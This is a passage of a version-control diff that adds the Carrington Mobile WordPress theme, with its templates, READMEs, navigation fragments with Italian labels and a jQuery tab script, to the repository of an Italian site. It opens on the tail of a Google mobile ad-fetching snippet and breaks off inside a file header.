+  }
+  google_append_url($google_ad_url, 'dt',
+                    round(1000 * array_sum(explode(' ', microtime()))));
+  return $google_ad_url;
+}
+
+$google_ad_handle = @fopen(google_get_ad_url(), 'r');
+if ($google_ad_handle) {
+  while (!feof($google_ad_handle)) {
+    echo fread($google_ad_handle, 8192);
+  }
+  fclose($google_ad_handle);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/img/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/img/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/img/README.txt	(revision 44)
@@ -0,0 +1,5 @@
+## img/
+
+Organizational folder for holding theme image files.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/index.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_posts();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/js/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/js/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/js/README.txt	(revision 44)
@@ -0,0 +1,5 @@
+## js/
+
+Organizational folder for holding theme JavaScript files.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/js/mobile.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/js/mobile.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/js/mobile.js	(revision 44)
@@ -0,0 +1,47 @@
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+jQuery(function($) {
+	$('div.tabbed').prepend('<ul class="tabs hide"><li class="active"><a href="#recent">' + CFMOBI_POSTS_TAB + '</a></li><li><a href="#pages">' + CFMOBI_PAGES_TAB + '</a></li></ul>');
+	var tabs = $('ul.tabs');
+	if (tabs.size()) {
+		tabs.removeClass('hide');
+		$('#recent, #pages').hide();
+		$('ul.tabs a[href=#recent]').click(function() {
+			$('ul.tabs li').removeClass('active');
+			$(this).parent().addClass('active');
+			$('#pages_tab').hide();
+			$('#recent_tab').show();
+			return false;
+		});
+		$('ul.tabs a[href=#pages]').click(function() {
+			$('ul.tabs li').removeClass('active');
+			$(this).parent().addClass('active');
+			$('#recent_tab').hide();
+			$('#pages_tab').show();
+			return false;
+		});
+		if (CFMOBI_IS_PAGE) {
+			$('ul.tabs a[href=#pages]').click();
+		}
+		else {
+			$('ul.tabs a[href=#recent]').click();
+		}
+		$('.tabbed ul.group').css({
+			'border-top': '0',
+			'margin-top': '0'
+		});
+	}
+});
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/links.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/links.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/links.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/README.txt	(revision 44)
@@ -0,0 +1,48 @@
+## loop/
+
+This directory contains files that do "the loop". Generally the files in this directory will be included in a file from the _posts/_ or _pages/_ directory, and they will in turn include templates from the _content/_ or _excerpt/_ directories.
+
+For example, you might want posts on a search results page to display differently that posts on an archive page. Here is how that page would be built:
+
+1. A page is identified as a search page - Carrington looks for a _posts/search.php_ file and will fall back on a _posts/default.php_ file if none is found.
+2. The _posts/search.php_ file will include the header, footer and sidebar - and will also include a call to `cfct_loop()` to include a loop.
+3. Since we don't want to show the full posts in search results, the _posts/search.php_ explicitly asks for a file from the _excerpt/_ directory to display the posts in the search results. It will use _excerpt/search.php_ if that file exists, or fall back on _excerpt/default.php_ if the custom file does not exist.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/loop-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/loop-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/loop-default.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+if (have_posts()) {
+	echo '<ul class="disclosure table group">';
+	while (have_posts()) {
+		the_post();
+?>
+	<li>
+<?php
+		cfct_excerpt();
+?>
+	</li>
+<?php
+	}
+	echo '<li class="pagination">', cfct_misc('nav-list'),'</li>';
+	echo '</ul>';
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/page.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+if (have_posts()) {
+	while (have_posts()) {
+		the_post();
+		cfct_content();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/loop/single.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+if (have_posts()) {
+	while (have_posts()) {
+		the_post();
+		cfct_content();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/README.txt	(revision 44)
@@ -0,0 +1,17 @@
+## misc/
+
+This directory holds page fragments and snippets that you may want to use across multiple template files.
+
+These files can be included in other theme files using the following code:
+
+	<?php cfct_misc('nav-posts'); ?>
+
+Where `nav-posts.php` is the name of the file in the _misc/_ directory that you want to include.
+
+
+### Example File Descriptions
+
+- *banner.php* - This is used by Carrington to display a message that is passed to it.
+- *nav-posts.php* - This is standard paging for posts pages.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/banner.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/banner.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/banner.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+?>
+<div class="cfct_banner"><?php echo $str; ?></div>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/main-nav.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/main-nav.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/main-nav.php	(revision 44)
@@ -0,0 +1,3 @@
+<a class="to-home" href="<?php bloginfo('home'); ?>">Home</a> |
+<?php if(!is_home()){ ?><a href="#recent">News Recenti </a> | <?php } ?>
+<a href="#pages">Pagine</a>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/nav-list.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/nav-list.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/nav-list.php	(revision 44)
@@ -0,0 +1,5 @@
+<span>&laquo;</span>
+<span class="next"><?php previous_posts_link('Precedente'); ?></span>
+<span>|</span>
+<span class="prev"><?php next_posts_link('Successiva'); ?></span>
+<span>&raquo;</span>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/nav-single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/nav-single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/misc/nav-single.php	(revision 44)
@@ -0,0 +1,5 @@
+<span>&laquo;</span> 
+<?php next_post_link('<span class="next">%link</span>'); ?> 
+<span>|</span> 
+<?php previous_post_link('<span class="prev">%link</span>'); ?> 
+<span>&raquo;</span>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/page.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_page();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/pages/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/pages/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/pages/README.txt	(revision 44)
@@ -0,0 +1,39 @@
+## pages/
+
+WP doesn't support page templates in nested folders like this one, so page organization isn't as clean as we'd like.
+
+Create a page in the theme root:
+
+File name: page-example.php
+
+**Note:** We recommend prefixing all of your page files with 'page-' so that they are easily sorted together in your theme directory.
+
+File contents:
+
+	<?php
+	
+	/*
+	Template Name: Example Template
+	*/
+	
+	if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+	if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+	
+	cfct_page('example');
+	
+	?>
+
+This will then load 'example.php' from the _pages/_ directory, keeping all of your actual page code nicely organized in one spot.
+
+You can also add your page code to the page-example.php file you create in the theme root, but we're hoping to get support for pages in a sub-directory in a future version of WordPress so we are starting with what we consider to be a "proper" organization structure now.
+
+
+### Supported Filenames
+
+- pages-default.php (or default.php)
+
+
+### File Descriptions
+
+A "default" template is required. You can create other templates as desired.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/pages/pages-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/pages/pages-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/pages/pages-default.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+
+/*
+Template Name: Default
+*/
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+
+<div id="content" class="group">
+<?php
+
+cfct_loop();
+
+comments_template();
+
+?>
+</div><!--#content-->
+
+<?php 
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/plugins/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/plugins/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/plugins/README.txt	(revision 44)
@@ -0,0 +1,9 @@
+## plugins/
+
+Carrington supports plugins in the same conceptual manner as WordPress. Carrington includes several hooks and filters so you can customize/override Carrington's default behavior.
+
+Any .php files placed in this directory will be auto-loaded and processed by Carrington.
+
+This is the recommended way to interact with the hooks and filters provided by Carrington so that they can be easily distributed with the theme.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/README.txt	(revision 44)
@@ -0,0 +1,50 @@
+## posts/
+
+The files in this directory are "top level" templates for pages in WordPress that show multiple posts at once. These files should call `the_header()`, `the_sidebar()`, `the_footer()` and `cfct_loop()` to include the other parts of the page.
+
+The file from this directory that will be used is chosen based on the current page context.
+
+You can explicitly decide which _loop/_ to use from these templates by passing it in as so:
+
+	cfct_template_file('loop', 'example');
+
+which would use _loop/example.php_ for the loop.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/archive.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+
+<div id="content">
+	<h1 class="table-title"><?php cfct_archive_title(); wp_title('', true, 'right'); ?></h1>
+<?php
+	cfct_loop();
+?>
+</div><!--#content-->
+
+<?php
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/posts-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/posts-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/posts-default.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+
+<div id="content">
+<?php
+	cfct_loop();
+?>
+</div><!--#content-->
+
+<?php
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/posts/search.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+$s = get_query_var('s');
+
+$search_title = '<a href="'.get_bloginfo('url').'/?s='.attribute_escape($s).'" title="">'.htmlspecialchars($s).'</a>';
+
+?>
+
+<div id="content">
+	<h1 class="table-title"><?php printf(__('Ricerc risultati per: %s', 'carrington-blog'), $search_title); ?></h1>
+<?php
+	cfct_loop();
+?>
+</div><!--#content-->
+
+<?php
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/search.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_posts();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_single();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single/README.txt	(revision 44)
@@ -0,0 +1,44 @@
+## single/
+
+This directory holds top level templates for "single" post pages. These files should call `the_header()`, `the_sidebar()`, `the_footer()`, `cfct_loop()` and `cfct_comments()` to include the other parts of the page.
+
+All General Context template filenames apply here, but in reality only single.php and single-{Post Context}.php files will be used as the General Context must fall to "single" to look for templates here.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single/single-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single/single-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/single/single-default.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
